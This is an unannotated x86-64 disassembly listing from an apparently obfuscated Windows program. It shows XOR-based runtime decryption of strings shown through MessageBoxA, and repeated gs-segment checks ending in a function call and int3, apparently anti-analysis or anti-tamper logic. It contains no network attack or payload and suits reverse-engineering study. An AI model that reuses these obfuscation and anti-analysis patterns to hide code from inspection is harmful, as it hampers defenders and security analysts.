movabs rbx, 0x8080808080808081
movabs r8, 0x11ea700a9a
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x23d4e01534
lea r13d, [r11 - 0x10]
movabs r15, 0x10dca5af9
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x368]
xor dil, r10b
mov byte [rbp + r10 + 0x368], dil
add r10, r13
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14002706a
mov byte [rbp + 0x379], r14b
movdqa xmm0, xmmword [0x1400dbdc0]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0xe224834f
mov word [rbp + 0x76c], 0xbe
mov r9, r14
movabs r8, 0x1621997682
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r10, 0x2c4332ed04
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x758]
xor dil, r9b
mov byte [rbp + r9 + 0x758], dil
add r9, r13
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x140027116
mov byte [rbp + 0x76d], r14b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14002724b
mov rax, qword gs:[0xd]
mov r15d, 0x76bfe48f
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002722b
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002722b
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002724b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x140027620
mov rax, qword gs:[0xd]
movabs rcx, 0xee84212ad7c507c8
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400272e3
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400272e3
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027620
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x1400273ad
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002738d
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002738d
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400273ad
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
movdqa xmm0, xmmword [0x1400dbee0]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], 0x5d
mov rdi, r14
movabs rbx, 0x10dca5af9
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.140027750
xor al, dil
mov byte [rbp + rdi + 0x380], al
add rdi, r13
cmp rdi, 0x11
jb 0x1400273d3
mov byte [rbp + 0x391], r14b
movdqa xmm0, xmmword [0x1400dbcc0]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400dbd00]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400dbd30]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0x13ba69ac
mov dword [rbp + 0xd0c], 0xdf80278e
mov dword [rbp + 0xd10], 0x87caa358
mov word [rbp + 0xd14], 0x50
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.1400277c4
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
add rdi, r13
cmp rdi, 0x3d
jb 0x140027468
mov byte [rbp + 0xd15], r14b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x2c]
movabs rdx, 0xee84212ad7c507c8
cmp rax, r12
jne 0x140027570
mov rax, qword gs:[0xd]
xor rax, rdx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rdx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rdx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140027550
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140027550
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027570
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x140027620
mov rax, qword gs:[0xd]
xor rax, rdx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rdx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rdx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400275fa
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400275fa
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027620
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov ecx, r13d
call fcn.14008d948
int3